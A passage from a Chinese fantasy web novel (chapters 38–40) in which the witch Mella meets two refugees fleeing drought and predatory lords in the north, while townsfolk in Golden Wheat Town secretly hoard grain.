想到这,伊莱雅摇着绸扇的动作顿了顿,眼神重新变得凌厉起来。 * “你在画什么呢?” 梅拉记得从早上开始,莱克斯就拿着一张纸一支笔在不停地写写画画,她被勾起了好奇心,忍不住从莱克斯的身后冒出来,探头往他手上的纸张看去。 纸上多是一些梅拉看不懂的线条,但最中间那块,画着好几棵像是树木一样的地方,梅拉大概能猜到这是哪。 “这是黑暗森林,对吗?” “没错。中间这一块是黑暗森林,右下角这块是雷德克里夫领,在它旁边的这块则是拜亚德领……”莱克斯对着他画的地图解释道。 “那这些是河流?”梅拉又指了指另外一些笔画较为短促的线条。 “对。”莱克斯颔首。 梅拉渐渐看懂了莱克斯画的这张地图。 照这么看,黑暗森林这一块的水源确实比她想的还要充足。 首先,有一条较大的河流就在黑暗森林的上头,接着它又分成了几条小的河流穿过黑暗森林的腹地,最后各自流向了雷德克里夫领和拜亚德领。 这也就意味着黑暗森林右下角这一块,哪怕面对旱灾,情况也会比其他地方好很多。 旋即梅拉的视线移到黑暗森林的左上角,莱克斯刚才说这一块大多是山地,所以能耕种的土地并不多。相对应的,往年光靠丰沛的雨水就能满足这里的人们日常所需。 但要是碰上今年这样不下雨的夏季,处境就会变得异常艰难。 然而令莱克斯担忧的并不是这一点。 “当初分领地的时候,或许是担心这些小贵族在封地上掌握太多的资源,所以这一大块领地就被零零碎碎的切了好几刀。” 莱克斯一面说,一面在纸上做标记,让梅拉看着本就崎岖的领地边缘,变得更加不成形状。 “这样有用吗?”梅拉对此表示怀疑。 “咳,这个办法确实是有效的,这几个领地都是王国中出了名的穷地方,各自的领主自然也拿不出什么家底来干些阳奉阴违的事情。” 也就是说,以往的国王安排他们干什么,他们就得干什么。就算狠狠地涨这些领地的税收,这些领主也只能委委屈屈地应下,而不是领着军队直接打到王城去,逼迫王座上的人更改他那不合理的决定。 只不过,把王室的阴谋就这么说出来还是有些不太光彩。 就好像把身上那层光鲜的外衣脱下来了似的。 莱克斯顿了顿,挥去心头古怪的想法,又道,“只不过领地内的资源越是贫瘠,这些小贵族当然也就越是吝啬,连掉在地上的树枝都不准平民轻易捡走。” 一旦有人不守规矩,被发现后挨一顿打都是轻的,极有可能倾家荡产都赔不上那堪称高昂的罚金,只能全家老小一起去干苦力赎身。 当然了,王国的法律确实规定了领地内的一切东西都属于领主的财产,包括树枝也是。 但对于其他富得流油的领主来说,谁会在乎这几根小小的树枝?简直穷得像个笑话。 是听到了要拿来和随从随意取笑的地步。 “既然连树枝都不给捡,那是不是人们也没办法到林子里打猎或是采集了?”梅拉点出了重点。 这正是莱克斯所担心的,“没错。但人们若是没法从领地内获取生存下去的食物和水,到时候或许会铤而走险朝黑暗森林而来。” 别忘了,梅拉的身份可不能见人。 这么多年在教会潜移默化的影响下,还是有许多狂信徒心中极度憎恨着邪恶的女巫的。 而众所周知,黑暗森林里确实住着一名女巫。 梅拉若是不慎出现在他们面前,只会成为众矢之的。 “但我觉得,这么大的森林,他们未必能走到这里。” 相比之下,梅拉的态度倒是淡定多了。 她想,那些走投无路的平民哪怕大着胆子进来,大概也只敢在森林的外围转悠,不可能走到小木屋附近。 如果真有这么一个人闯进来了,势单力孤的情况下,谁怕谁难道不是一目了然的事情吗? 第38章 第 38 章 [金麦镇] 每年的秋季, 阳光洒在离镇子数十里远的麦田上,金灿灿的颜色令每一个路过的人都不自觉地露出会心的笑容。 这就是金麦镇这个名字的由来。 然而今年的金麦镇,连磨坊主的脸上都失去了喜色。 深夜,昏暗的屋子里, 乔安妮守在门后, 却愣是没敢点燃蜡烛。 直到门外响起三声轻叩,乔安妮立刻搬开木栓, 打开门, 供霍尔钻了进来。 “唉。”霍尔叹了口气, 忍不住抱怨, “明明是在自己家, 却搞得我们好像是在做贼一样。” “没办法。”说起这个,乔安妮也陪着霍尔长叹了一声。 八月那会儿,因为得了梅拉和莱克斯的提醒, 霍尔和乔安妮商量过后, 觉得将粮食藏在自家的地窖里并不安全,便开始有意识地背着小镇上的其他人将粮食转移了一大半到别的地方,以防万一。 与此同时,霍尔来到金麦镇除了购置了一栋两层的小屋子外,还在镇外买了十几亩地,借着这个身份,他频繁地与一个粮食商人来往, 倒也没有引起任何人的注意。 两人坐在酒馆里, 捧着一大杯劣质麦子酒大喝特喝,互相倾吐生活中的不快。 当然,以霍尔的性格,大多数时候都是作为倾听的那一个。 但这个做法帮他迅速地拉近了和这名粮食商人的关系, 因此当他假装不经意地打探其他地方粮食的价格时,这名粮食商人立刻像竹筒倒豆子一样全盘托出。 越听,霍尔越是心惊。 原来在他只是隐隐察觉不对劲的时候,其它地方早就有了异动。 以黄豆为例,目前在金麦镇花八十枚铜币就能买到半袋,但在更远一些的地方,竟然要花一百枚铜币。 这还是没出拜亚德领的价格。 霍尔不敢想象其它领地又是怎样一番境况。 然而这些消息除了会东奔西跑的商人们之外,谁又有途径和心思打听呢?像金麦镇上的大多数人都只关注眼前的生活,鲜少会好奇其他地方的事情。 哪怕是同他们提起附近的雷德克里夫领,往往只会得到一张茫然的脸:“噢,我家可没有亲戚在那么远的地方,从来没想过要关注那儿的消息。” 不过,若是像霍尔这样的陌生人带着妻子来到金麦镇生活,就会沦为整个镇子长达半个月的谈资。 当然,看在税务官的面子上,谁也不会怀疑他们的身份其实并不属于拜亚德领,只当霍尔是在村子里攒了钱,特地搬到镇上来住的那类人。 尽管接触下来,大家发现霍尔和乔安妮并不是爱慕虚荣的性格。 总之,因为曾经误解过霍尔和乔安妮,这回哪怕有人意识到这对夫妻的某些举动似乎有些反常,也并没有声张,只当是自己的胡乱揣测,丢到了脑后。 这样反倒帮助霍尔顺利完成了转移粮食这件事。 而后来一天天上涨的粮食价格,也让霍尔无数次和乔安妮感叹梅拉和莱克斯的先见之明。 否则以他们俩打点税务官,买了房子和土地后手上剩的那三瓜两枣,怕是压根买不起现在两百枚铜币才能买到的半袋小麦粉。 类似的窘迫并不只出现在霍尔和乔安妮这里,他们的邻居,乃至大半个金麦镇的人家,餐桌上的食物都变得越来越少,饿肚子的时候却越来越多。 为了不让别人察觉到他们竟然还有多余的食物,每回霍尔都得趁着夜色偷摸离开家,而乔安妮则负责守在门后,等听到约定好的敲门声再迅速将人放进来。 “对了,家里水缸里的水还够用吗?”霍尔将系在腰上的袋子递给乔安妮,里头装着满满一袋豆子,顺便问道。 这袋豆子想要敞开肚子来吃是不可能的,但至少每顿加点豆子进去,能不使人饿得胃里仿佛有炭火在烧。 更何况,霍尔和乔安妮也不敢让自己看起来和其他人不太一样,拥有过于饱满的脸颊和红润的脸色,那不是明摆着告诉别人他们家里藏着猫腻吗? 乔安妮面带难色地摇了摇头,估摸着算出了一个数字,“大概还能再坚持四五天左右。” “这可难办了……”霍尔发出了今晚的第二声叹息。 自从天气越来越热之后,金麦镇上唯一的一口水井就被严格看守了起来,一般人想要去取水,都得按照规矩拿着规定的器皿去才行,否则还没靠近井口就会被看守的人推搡开。 像霍尔和乔安妮只有两个人,那他们三天才能取一瓦罐的水。 这么点水怎么可能够两个人喝。 但为了这点小事拿钱出来贿赂看守的人,无论是霍尔还是乔安妮都觉得并不值得,毕竟谁也不知道什么时候天气能凉快下来,再痛痛快快地下一场雨,因此必须得将钱花在最要命的时刻才行。 “梅拉小姐那边,情况应该会比我们好很多吧,毕竟黑暗森林可不缺水……”乔安妮自顾自地喃喃道。 * 而被乔安妮惦记着的梅拉,此刻正对着少女倔强的双眸感到一阵头疼。 本来梅拉只是觉得吃撑了,随便到小木屋附近散散步。 临出门前,她其实还邀请了塞拉斯和莱克斯,但一个懒得动弹,一个忙着清洗餐具,都拒绝了她的好意。 那好吧,梅拉耸了一下肩膀,一个人潇洒地出门去了。 在连着一个月的烘烤下,森林里许多植物都面临了枯萎,即使勉强撑着活下来,也是一幅蔫耷耷的样子。 梅拉摸了摸一株低垂着脑袋的,原本长得格外漂亮的紫叶珊瑚蕨。 因为过度缺水,深紫色的叶片褪色成了浅紫,连带着覆盖在叶片上肉眼看不见的绒绒的一层,也变得又硬又干,失去了曾经毛茸茸的手感。 即使如此,它的状态也比周围的其它植物要好多了。 也不知道什么时候能下一场酣畅淋漓的雨,重新使这些无言的生命活过来。 梅拉松开了手,继续悠悠地往前走。 关于这件事,莱克斯还问过她,为什么不能占卜呢? 以梅拉的能力,莱克斯相信她可以做到。 然而梅拉却支着下巴,望着窗外,即使是这样刺眼的阳光,似乎也没有完全照进那双幽绿的深潭中。 她说,“占卜和预言是不一样的。” “占卜,是从已知的信息中得到既定的未来,也就是说,占卜得来的结果,是一定要发生,或已经发生过的事情。” “而预言,则是从未知的命运中窥探有可能发生的未来。” 光是窥探命运这一步,就没有几个女巫能做到,不过,对于梅拉这样天赋异禀的女巫来说,倒也算不上特别困难。 但是,即使梅拉看到了命运,未来也不一定会发生。 譬如梅拉看到十天后就有一场雨要降临,但十天后真的会下雨吗?不一定。 其中的原因很简单,梅拉也早就和莱克斯说过,命运是会更改的,而不是一成不变的死物。 所以,梅拉自始至终都没有想过要用水晶球占卜一下这件事。 说到底,她能做到的,也只有等待。 等待那一场命中注定要落下的雨。 不知不觉间,梅拉走到了河边。 月明星稀的夜晚,当一团团微光忽然从河畔的芦苇丛中飘起,自然一下子就吸引住了梅拉的目光。 是萤火虫。 梅拉看着它们慢悠悠地四散开来,情不自禁伸出手,接住了其中一小团黄色的光点。 或许是感受到了梅拉释放出来的善意,又或许是觉得梅拉身上的草木气息熟悉而心安,这只萤火虫颤颤巍巍地落到了梅拉的指尖,供她细细地观摩。 随着它的尾巴一下一下地闪动光芒,梅拉仿佛感受到了生命的呼吸。 她的心也跟着不自觉地宁静下来。 这只萤火虫在梅拉指尖停留的时间并不长,大概几个眨眼的功夫,它就重新飞起来,追着某个同伴而去。 梅拉任它离开,没有再接着走到河畔停留,而是沿着河流往上游走去。 然后,就发生了梅拉最不想看到的一幕。 一个十五六岁的少女突然闯到她的面前,两人互相将对方吓了一跳。 “你是谁?”少女最先回过神来发问,似乎想要占据对话的上风。 “你又是谁。”和她咄咄逼人的语气相比,梅拉要显得淡定从容得多。 听到梅拉的反问,少女似乎噎了一下,倒也乖乖回答了问题,“我叫格温蒂尔。” 她没有说自己从哪来,但梅拉不动声色地打量过她的衣着与鞋底附近沾着的那厚厚的一层泥,断定她应该是从北方领地逃来的。 这比她和莱克斯预想的时间还要早。 他们都以为,起码得等秋季过去一小半,才会闹出大的动静来。 但现在,秋天才刚刚开了个头。 看来北方领地的情况比梅拉与莱克斯想象的还要严重。 “那你呢?你还没回答我的问题呢。”格温蒂尔是个急脾气,也是少女的性情,觉得两人之间的问答应该有来有往才对。 结果听了她的话,梅拉却一摊手,奇怪地道,“我有答应要回答你的问题吗?” 明明是她迫不及待地告诉了梅拉自己的名字。 好、好像是这样没错,格温蒂尔瞪大双眼,一半是气的,一半是懊恼。 她没想到梅拉明明看上去是位美丽得超脱油画中的女仙般的人物,结果竟然会像个男人一样耍无赖。 “格温蒂尔,你面前站着的这位是?” 忽然,又一个人从林子里走了出来。 是个中年男人,脸上布满了浓密的胡须,叫人看不清他的五官,只能看到那双闪烁着精光的灰眸。 但他的身板肉眼可见的结实,胳膊粗得仿佛能一拳往地上打出一个深坑来。 有了这样一个人在身后,格温蒂尔顿时像有了坚实的后盾似的,下巴微抬,故意阴阳怪气地答道:“我也不知道呢,她是刚刚突然窜出来的,把我吓了好大一跳。” 喂喂,到底是谁忽然窜出来吓了谁一跳。梅拉好笑地看着这个比自己小了不少岁的小姑娘。 倒也没有因为她的话感到生气或冒犯。 这种有了靠山就耀武扬威的脾气,大概会和塞拉斯很谈得来吧。 男人没有被格温蒂尔的态度左右,而是谨慎地看向梅拉,眼神中带着歉意,“不好意思,格温蒂尔的年纪还小,说话喜欢刺人,但我想她应该只是打算问清楚你的身份和来历,而不是真的对你抱有敌意。” 陌生人相遇,想知道这些倒也无可厚非,毕竟这世上从没有无来由的亲近。 何况梅拉也清楚自己并没有长着一张看起来就分外和善的脸蛋,能够让见了她的人主动放下戒心。 话是这么说。 “在我把这些事情告诉你们之前,不如你先说说你的身份和来历好了。”梅拉漫不经心地道。 尽管梅拉这边只有她一个人,但她理直气壮的样子好像根本不存在对陌生男人的惧意与忌惮,似乎完全不担心男人与格温蒂尔联手对她怎么样似的。 以至于男人都愣了一下,才慢半拍似的露出了一个应该属于和善的笑容。 只不过他的嘴巴被他的胡子给挡住了,所以梅拉只能从他眼角处弯成沟壑的皱纹来判断。 “我叫葛宁克,和格温蒂尔一样是从北方领地而来。至于具体是哪位领主的领地,就请让我们保密吧,毕竟我和格温蒂尔还不想以后回去被人抓住把柄,只能以奴隶的身份活下去。” 明明是这么严肃的话题,葛宁克却以玩笑的语气说了出来,让原本隐隐处于对峙的气氛似乎一松。 看得出来,葛宁克是个会说话的高手。 “我叫梅拉,和你们差不多,但不是从北方领地而来。”梅拉还是一副不咸不淡的样子。她顺着葛宁克的话说下去,可以说是把话说得滴水不漏。 既没有露出让葛宁克和格温蒂尔起疑的消息,毕竟她现在还不知道外面具体的情况是怎么样,瞎编容易编过头,还不如干脆闭口不谈。但梅拉也没有完全不拿出值得交换的信息。 至少她告诉了他们,自己的真名不是吗?他们两还未必一个真的叫葛宁克,一个真的叫格温蒂尔呢。 当然,同样的怀疑大概也存在于葛宁克与格温蒂尔心中。 只不过,葛宁克也不好说梅拉什么,毕竟刚才那番简单的交流里,他除了名字外,一样没有拿出其它有用的信息。 因此他听了只是笑一笑,继续道,“我相信你和我们一样,都是走投无路的人,否则谁会愿意来这阴森恐怖的黑暗森林里冒险呢?” 葛宁克的话里显然有试探的意思,他故意用了模糊的说辞,试图引出梅拉的真实目的。 可惜了,回答他的不是梅拉,而是格温蒂尔。 “就是啊,一路走来若不是有葛宁克在,我怕是要被突然冒出来的野兽给生吞活剥了。还有那些防不胜防的藤蔓和荆棘、扎人的刺刺果,也不知道那个臭名昭著的女巫是怎么在这鬼地方生活下去的。” 格温蒂尔一路走来,对黑暗森林的怨气积累了不少,这会儿葛宁克的话就像是给她搭了个梯子,供她尽情地一吐为快。 听到她的话,梅拉玩味地一挑眉,嘴角的笑意愈深。 她怎么不知道什么时候外头的传言又变了,她竟然成为了臭名昭著的女巫,明明这些人连她的名字都不知道。 “格温蒂尔,你能说说那个臭名昭著的女巫都干了些什么事吗?抱歉,我只听说过她住在这,再多的……人们都对女巫的事情讳莫如深,很少愿意把他们知道的分享出来。” 梅拉一幅十分感兴趣的模样。 “这你都不知道吗?”格温蒂尔一脸惊讶。 其实这些事情她也是前不久才从葛宁克的嘴里听说,但现在却忍不住想要拿来在梅拉面前卖弄一二。 “格温蒂尔,这里可不是能够乱说话的地方。”葛宁克突然打断了格温蒂尔将要出口的话。 格温蒂尔却没觉得这有什么不对,从他们遇见以来,葛宁克一直是这样谨慎的脾气,她甚至恍然大悟似的捂住嘴巴,刻意压低了声音: “差点忘了,这可是那女巫的地盘,万一现在她豢养的那只乌鸦正在暗地里盯着我们看,把这些话学舌给那女巫听该怎么办。” 格温蒂尔顺便警惕地打量了一圈四周的树上,到底是不是藏着一只正暗中窥探的乌鸦。 “……”虽然这是葛宁克想要的效果,但他看起来似乎很想要按住突突跳起的太阳穴。 “……我们还是说点别的吧。”最后,葛宁克虚弱地转移了这个危险的话题。 “还是算了,今晚就到这吧,”梅拉摇了摇头,拒绝了继续和他们聊下去,“我该回去了,我也有同伴在等着我呢。” 她如果再不回去,说不定塞拉斯和莱克斯又要担心了。 “怪不得你不怕我们对你做什么,原来你也有同伴。既然正好遇见了,不如叫上你的同伴一起过来,我们多个人,在这森林里就能多一份安全呀。”格温蒂尔热情地向梅拉发出了邀请。 “不用了,他们不喜欢和陌生人凑到一起。”梅拉想也不想便拒绝道。 “这有什么,大家围在一起燃着火聊聊天,不就能熟起来了吗?” 格温蒂尔还拿她和葛宁克举例子,“我和葛宁克就是在半路上认识的,也不妨碍我们搭伙,一起来到了黑暗森林。” “……不,真的不用了。”梅拉面对格温蒂尔热情又倔强的眼神,只觉得自己的太阳穴也开始跟着一起跳了。 第39章 第 39 章 [北方领地的情况] 一大早用过早餐, 放下刀叉后,梅拉就说她又要出门一趟。 塞拉斯听了头也没抬,继续将脑袋埋在才吃了一半的蘑菇馅饼里。 莱克斯反倒在梅拉拎着篮子出门后,露出了一副若有所思的表情。 他问塞拉斯, “你有没有觉得这两天梅拉好像有点不太对劲的样子?” “唔唔?”塞拉斯嚼着馅饼给出回应。 相处了这么久, 莱克斯大概能明白它是在问梅拉哪里不对劲。 “她出门的次数变多了。”莱克斯单手撑着下巴,大拇指下意识地摩挲了几下脸侧, 作出了沉思的表情。 梅拉大多数时候和塞拉斯一样喜欢呆在屋子里, 懒得动弹, 能让她克服懒劲出门, 除非是有什么东西吸引了她, 比如某种草药迎来了成熟期,再不摘就要错过了。 尽管这两天出门梅拉确实会摘一篮子花花草草回来,但莱克斯还是觉得有些不对劲。 “这有什么不对劲的?”塞拉斯总算将嘴里的食物咽下去了, 反问道。 它觉得梅拉很正常啊。 “不要那么大惊小怪的, 说不定梅拉是在给我们准备惊喜呢?”塞拉斯反过来安抚莱克斯。 惊喜? 莱克斯面色古怪地咀嚼着这个词。 他怎么忘了,梅拉在干坏事的时候也分外有热情。 如果她真的给他们准备了什么,那大概不是惊喜,而是惊吓吧。 * 并不知道塞拉斯与莱克斯背着她在偷偷说坏话的梅拉,正走在去见葛宁克与格温蒂尔的路上。 前天夜里她虽然拒绝了和他们搭伙的提议,但这并不妨碍梅拉这两天溜过来和格温蒂尔聊天,顺便听她谈起外面发生的事情。 格温蒂尔和葛宁克的营地就在遇见梅拉的那块林子附近, 这还是梅拉善意提醒他们, 爬到树上休息可比燃着火堆防备野兽安全多了。 起码树上只有蛇,但葛宁克显然双拳难敌四手,更别提还要保护一个看起来没多少战斗力的格温蒂尔了。 听到有蛇,格温蒂尔看起来竟然还算是镇定, 大概千里迢迢从北方领地逃往黑暗森林的时候,她已经遭遇过类似的意外。 不过梅拉也说了,他们两只要留出一个人打起精神守夜,蛇对他们来说倒也算不上什么危险。 格温蒂尔和葛宁克对视一眼,接受了梅拉的好意。 而今天梅拉来见格温蒂尔的时候,意外地发现葛宁克竟然不在。 他把格温蒂尔一个人丢在这里,也不担心她会出事吗? 这个,格温蒂尔替葛宁克解释了两句,“葛宁克说你这个点也该过来了,让我在这等你就好,他则打算到远一点的地方多找点吃的回来。” 毕竟他们两个人,格温蒂尔在找吃的这方面几乎完全帮不上忙,全依赖葛宁克一个人,哪怕黑暗森林里的物产比他们先前想象得还要丰富,也得花时间仔细寻觅一番人能吃的食物才行。 尽管如此,格温蒂尔一点也没有自己是个拖油瓶的觉悟。 “毕竟如果没有我,葛宁克恐怕早就被领主的人给抓走了。”格温蒂尔骄傲地哼道。 “抓走?他不是平民吗?怎么还能被抓走呢?”梅拉将盖在篮子上的手帕掀开,露出下面藏起来的两颗苹果,分了格温蒂尔一个。 格温蒂尔接过苹果,狠狠地啃了一大口,感受着丰沛的汁水盈满口腔,一时间只觉得体会到了久违的幸福感,算算时间,她已经有将近两个月没吃过这样甘甜的水果了。 “北方领地的情况可比你们这些南方人想的要严重得多。”格温蒂尔道。 既然梅拉说她不是从北方领地而来,格温蒂尔理所当然地将她视作了南边这块的人。 梅拉听了倒也没有反驳,任由格温蒂尔继续误会下去。 “在我们那,大概从七月开始吧,就陆陆续续有奴隶出逃的事情发生。”格温蒂尔回忆到。 一般来说,奴隶只能生活在领主的庄园之中,能自由行走在外的都是平民。 但屡屡有奴隶外逃后,那些领主也不知道是怎么想的,光明正大的就开始派人在街上乱抓平民,硬说对方是从庄园里逃出来的奴隶。 领主派出的人中,还有庄园里的管事进行指认,说他绝不可能认错这张脸,就是手下的某某奴隶无疑。 “我想,事情应该不会只是这么简单而已吧?” 梅拉陷入沉思,“不说那些被抓到的平民要如何脱身,无论左邻右舍还是亲戚朋友应该都能作为人证,轻松地为他们本人证明身份。就说王国的法律规定了,领地内奴隶的数量只能是平民的五分之一,随意增加奴隶数量,除非你们那的领主疯了不成?” 不管曾经立下这条法令的国王是怎么想的,但王国确实靠着这条法令保护了不少平民,否则以这些领主的黑心手段,恐怕到时候整个领地的平民将寥寥无几。 而法令的后半部分还说了,一旦奴隶的数量超过平民,哪怕只是多出一个人,国王都能立刻下令让领主的位子上换个人来坐。 自己当领主,和自己的弟弟或是侄子来当领主,待遇当然天差地别。 因此大部分领主想要获得更多的奴隶名额,只能费心地治理领地,让平民的人数增多,而不是这样简单粗暴的把人抓起来硬说对方是奴隶。 难道这些北方领地的领主们什么时候有了和国王叫板的底气不成? “所以啊,”格温蒂尔摊手,“领主说了,人证不可靠,若是你想要证明自己不是奴隶,就得拿出证据来。” “哦?什么证据?” “将财产的五分之一献给领主。” 噢,这下梅拉明白了,这不过就是这些领主们想方设法的换了个由头让平民们缴税罢了。 但不得不说,这个证据还真算得上铁证如山。 人证或许会撒谎,但王国中,只有平民及平民以上的贵族们才能拥有属于自己的财产,若是你拿不出财产,领主说你是奴隶,这事就算闹到国王面前他也挑不出错。 至于你是突逢意外,导致多年的积蓄打水漂了? 高高在上的领主可不会管你这那的,他们绝不可能将本就少得可怜的同情心施舍给一个平民。 若是想的再深些,梅拉开始怀疑所谓的奴隶出逃,大概也是这些领主们故意抛出来的借口。否则那些被饿得面黄肌瘦的奴隶怎么可能逃脱一个个人高马大的守卫的看守,从重重把守的偌大庄园里顺利逃走。 “那葛宁克呢?他是怎么回事?他也拿不出钱来吗?”梅拉将话题绕回到最初,有关葛宁克的事情上。 “是啊,他遇到我的时候,身上一分钱都没有,还是我用两枚金戒指把他从那些人手里换过来的呢。” “看不出来,你还挺大方的嘛?”梅拉意味深长地看了格温蒂尔一眼。 能毫不犹豫的拿出两枚金戒指救人,说明格温蒂尔应该来自一个较为富裕的家庭,也就难怪她能养成这样天真的性格。 只有穷人才会精打细算、深思熟虑。 不过,梅拉怀疑格温蒂尔家里或许是出了什么大的变故,否则她总不至于像现在这样沦落到孤身逃亡的地步。 “我父亲还没死的时候,两枚金戒指算什么,这样朴素没有花纹的首饰放在首饰匣子里,我连戴都懒得戴。” 果然,格温蒂尔憋不住话,把前段时间经历的变故一股脑地秃噜了出来。 原来格温蒂尔出生在一个十分富裕的家庭,父亲是羊毛商人,母亲是税务官的妹妹,他们俩给格温蒂尔这个唯一的女儿攒了不知道多么丰厚的嫁妆。 结果两个月前,格温蒂尔的母亲在下楼时受到一场意外的惊吓,失足跌了下去,没等到医士赶来,就彻底闭上了眼睛,肚子里还揣着格温蒂尔尚未出世的弟弟。 陡然间失去了爱妻和小儿子,格温蒂尔的父亲陷入了巨大的悲伤之中,在带着一个车夫前往友人的家中聚会时,不幸连人带车一起翻下了悬崖。 这下格温蒂尔不仅丧父丧母,还沦落为了一个谁都能来欺负的孤女。 她的叔叔一家,借此机会光明正大地搬了进来,还将格温蒂尔的仆人们使唤得团团转。 由于没有嫁人,格温蒂尔除了本就拥有的珠宝首饰,暂时一分钱也没办法从父亲留下的遗产中拿到,只能眼睁睁地看着叔叔一家拿着她父亲的遗产使劲挥霍。 好在恶人自有恶人磨。 正好,因为继承了她父亲的遗产,格温蒂尔的叔叔便被领主盯上了,让人抓到了牢里去,只能靠着他的长子拿着钱去救人。 没想到领主的胃口哪是那么点钱就能打发的,转眼间格温蒂尔的堂兄也被抓走了。 趁着家里被接连两件事冲击得人仰马翻、焦头烂额的时候,格温蒂尔揣着满满一盒首饰偷偷跑了出来。 她总觉得领主如果不把这些钱吃干抹净,是不会放过她叔叔一家的,就算救了她的堂兄,她还有两个堂弟呢。 当然,反正这笔钱最后也不可能落到格温蒂尔手里,她觉得要是能换来让她叔叔一家受受折磨也挺好的。 就当是她花钱请领主的人来给她叔叔一家吃顿教训了。 只不过,格温蒂尔跑出来时全凭一腔孤勇,实际上真的一个人上路后,简直两眼一抹黑,什么也不懂,差点叫人给骗了。 好在她半路救下了葛宁克,出于报恩,加上当时领地内到处传来干旱的消息,葛宁克便建议她咬咬牙,躲到南边来,等旱灾过了再回来。 见格温蒂尔面露犹豫,葛宁克加大力度劝到,只要路上没被抓到,就算她之后回来,被别人问起,只要嘴硬说自己躲到了别的地方,难道还有谁能揭穿她不成? 更何况是她那自身都难保的叔叔一家。 格温蒂尔想了想,觉得葛宁克说得没错,于是跟着他走过各种人烟罕至的地方,一路还算顺利的来到了南边。 只不过,格温蒂尔和葛宁克完全没想到,南边的情况竟然也没比北边好到哪去,粮食和酒水的价格高得吓人,水井边则有专门的人进行看守。 不仅如此,像他们这样的生人,随意进入一个镇子就会被盯上。 原本正陷入熟睡中的格温蒂尔半夜忽然让一双手死死给捂住了口鼻,要不是她挣扎得厉害,等到了同样被夜袭的葛宁克从隔壁房间赶来,大概就见不到第二天的太阳了。 经此一遭,格温蒂尔和葛宁克也不敢继续在镇子上逗留,于是一合计,就躲到了黑暗森林这里。 难怪葛宁克先前说他们走投无路,原来是这么个意思。 梅拉的眼底浮现出一层了然。 “不过,你们躲在森林外围就好了,为什么要闯进这么深的地方?” 越是深入森林,危险自然越大,葛宁克带着格温蒂尔,按理说小心翼翼地躲在森林的外围才是最佳选择。 “我也想啊,”提到这个,格温蒂尔有些欲哭无泪,“是我让一只兔子给惊了,不小心与葛宁克走散了,等我冷静下来想要原路返回去找葛宁克,找着找着就发现天黑了。” 天黑下来后,黑暗森林彻底陷入了黯淡无光的境地之中,格温蒂尔谨慎地每走一步都要左右四顾一番,以免再一次碰到意外。 事到如今,她只好顺着自己的记忆继续往前走,说不定就能走出去了呢。 至于结果么,从格温蒂尔还留在这里就能知道,她肯定是离开黑暗森林失败了。 唯一值得庆幸的是,格温蒂尔重新遇到了葛宁克,两人作伴,换了个方向,朝着有月光透出的地方走去。 有光的地方,在这黑夜之中总是感觉要更安全几分。 说话间,格温蒂尔手中只剩下了一粒果核。 她恋恋不舍地将用手刨了个小土坑,将果核放进去,然后又动手将土填回去,开始期待未来这粒果核或许能长成一棵高大的苹果树。 “说起来,这两颗苹果是你从哪里摘来的?”把苹果吃干抹净了,才想起要问梅拉这事的格温蒂尔看向梅拉。 此时梅拉的手中也只剩下了一粒果核,闻言,她想也不想便道,“忘了。” “忘了?”格温蒂尔狐疑地看着梅拉,怎么觉得这是她的借口呢? 见状,梅拉反而似笑非笑地抬起眼,“你都能忘了怎么原路返回,还不准我忘了在哪遇见的野苹果树吗?” 格温蒂尔讪讪地收回视线,也是,黑暗森林这么大,忘了也很正常嘛! 第40章 第 40 章 [葛宁克受伤] “好香啊。” 梅拉告别格温蒂尔, 在外头磨磨蹭蹭地将篮子里铺满一层草药,确认不会让塞拉斯和莱克斯看出异样后,才放心地回到了小木屋中。 倒也不是她故意想要瞒着格温蒂尔和葛宁克的存在,只是他们俩不久后毕竟是要离开黑暗森林的, 若是让他们见到了莱克斯那标志性的金发金眸, 猜出了他的身份,又把消息传了出去——对莱克斯来说, 这大概算是一件坏事。 谁让如今在所有人的眼里, 莱克斯都是个不幸失踪, 极有可能已经丧命的小可怜呢。 尽管莱克斯从没有向梅拉透露过他离开黑暗森林后的计划, 但想也知道有这一层身份在, 方便了莱克斯在暗中筹划多少事情。 至少比从前当个众目睽睽之下的靶子要强。 而所谓的“小可怜”莱克斯此时正忙碌着,端出了一盘热气腾腾的苹果派。 浓郁的甜香气息将梅拉肚子里的馋虫统统勾了出来,她迫不及待地坐到餐桌前, 举起了刀叉。 等莱克斯将苹果派一分为三, 放到了各自的餐盘里,梅拉立刻切了一小块送入嘴中。 苹果派的边沿烤得有些焦了,但酥脆十足,梅拉甚至想着让莱克斯下次多烤焦一点,她喜欢吃这一圈皮。 切得薄薄的苹果片则埋在松软的派皮里,随着温度蒸腾出一阵淡淡的属于苹果的清香。 在梅拉享受美食的功夫,莱克斯忽然道, “梅拉, 我发现放在箱子里的苹果好像少了两个,是你拿走了吗?” “少了吗?会不会是你记错了?”梅拉面不改色地答。 “是我记错了吗?”莱克斯好像真的只是随口一问,都开始顺着梅拉的话质疑自己了。 “应该是吧。”梅拉的语气愈发无辜,也不把话说死, 太过斩钉截铁的态度反而容易令莱克斯起疑。 果然,莱克斯没有再继续追问,仿佛真的以为是自己记错了。 第二天,梅拉磨蹭了好一会儿,一阵翻箱倒柜,动静大得连原本懒洋洋打哈欠的塞拉斯都惊着了。 塞拉斯落到柜子最顶端,从上往下看,只能看见一个火红的脑袋。 它用翅膀挠了挠头,问道,“梅拉,你在找什么呢?” “没什么,就是之前收起来的一小罐莓芡果实,你还记得我把它放哪了吗?”梅拉若无其事地道。 塞拉斯觉得有些奇怪,“你问我吗?可你的东西一直不都是莱克斯在整理吗?” “我想着你天天呆在小木屋里,说不定恰好看到过他放在哪了呢?”梅拉面不改色地找了个理由将塞拉斯糊弄了过去。 塞拉斯一想也是,只不过它是真不记得自己有没有见过这什么莓芡果实了。 “不如我替你去问问莱克斯吧!”塞拉斯自告奋勇地道。 “算了算了。” 梅拉赶紧叫住屁颠屁颠往外飞,好心想帮她传话的塞拉斯,“我还是出去一趟吧,万一是我记错了,其实那罐果实早就被我用完了呢。” 说着,梅拉好像真有这么回事似的,经过门口的时候取下挂在墙上的篮子,小跑着出了门,飞快地消失在了塞拉斯的视线之中。 经过这一番磨蹭,今天梅拉见到格温蒂尔的时候自然比往常晚了许多,没想到竟然还正好赶上葛宁克拎着几条刚捉的几条鱼回来了。 瞥见他卷至膝盖附近的裤腿和不小心沾到小腿上的泥巴,格温蒂尔惊讶地问,“葛宁克,你这是亲自下水捉鱼去了吗?” 即使是在日光稀薄的森林里,仿佛形成热浪一般的空气依然将葛宁克腿上原本湿漉漉的泥土烘得发干。 “是啊,那条小河的水让这天气旱得才到我的小腿附近,下水捉鱼可比平常方便多了,我就想着干脆捉几条鱼来中午我们烤鱼吃。只不过水浅,养出来的鱼也没有多大。” 